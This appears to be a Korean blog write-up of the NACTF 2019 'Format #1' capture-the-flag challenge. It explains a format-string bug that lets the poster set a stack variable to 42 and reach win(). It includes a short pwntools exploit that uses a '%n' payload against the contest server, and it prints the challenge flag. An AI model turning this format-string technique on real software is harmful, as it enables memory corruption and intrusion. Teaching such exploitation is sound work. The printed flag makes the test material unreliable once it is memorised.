SDJ( 수돈재 아님 ㅎ )

NACTF 2019 - Format #1 본문

write-up/pwnable

NACTF 2019 - Format #1

ShinDongJun 2019. 9. 23. 12:40

32 Bit 바이너리에 보호기법은 Partial RELRO가 걸려있다.

 

IDA로 분석을 해보면

먼저 main에서 변수 v4에 0을 넣고

vuln()함수를 거친후 v4가 42가 된다면 win()함수를 출력하도록 되어있다.

 

이 때 vuln()함수에서는 Format String Buf ( FSB )가 발생하여

v4의 값을 조절할 수 있게 된다.

 

따라서 포맷스트링으로 v4의 값을 42로 바꾸면 win()함수가 실행될 것이다.

 

v4 인자 위치를 알아내기 위해 gdb로 열어보자

그리고 다음 2 곳에 break pointer를 건다.

1. v4 에 0을 할당하기 직전

2. fsb가 발생하기 직전

 

먼저 v4에 0을 할당하기 직전 모습이다

ebp - 0xc에 0을 할당하는데

현재 ebp = 0xffffcfc8이므로

ebp - 0xc = 0xffffcfbc가 되겠다.

따라서 v4의 주소는 0xffffcfbc가 된다.

 

다시 진행해보면 fsb 직전에 다시 break가 걸리게 되는데

v4의 위치를 나타내는 주소 (파란색)이 메모리 상에 보인다.

따라서 %n을 통해 v4에 42를 넣는다면 win()함수가 실행될 것이다.

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
#p = process('./format-1')
= remote("shell.2019.nactf.com"31560)
 
win = 0x080491B2
 
pay = '%'+str(42)+'d'
pay += '%24$n'
p.sendlineafter(">", pay)
 
p.interactive()
 

 

메모리상 0의 위치가 많기 때문에 좀 귀찮게(?) 구한 것 같다.

다른 방법이 있다면 알아봐야겠다.

 

 

 

flag : nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}

'write-up > pwnable' 카테고리의 다른 글

NACTF 2019 - Loopy #1  (0) 2019.09.23
NACTF 2019 - Loopy #0  (0) 2019.09.23
NACTF 2019 - Format #0  (0) 2019.09.23
NACTF 2019 - BufferOverflow #2  (0) 2019.09.23
NACTF 2019 - BufferOverflow #1  (0) 2019.09.23
Comments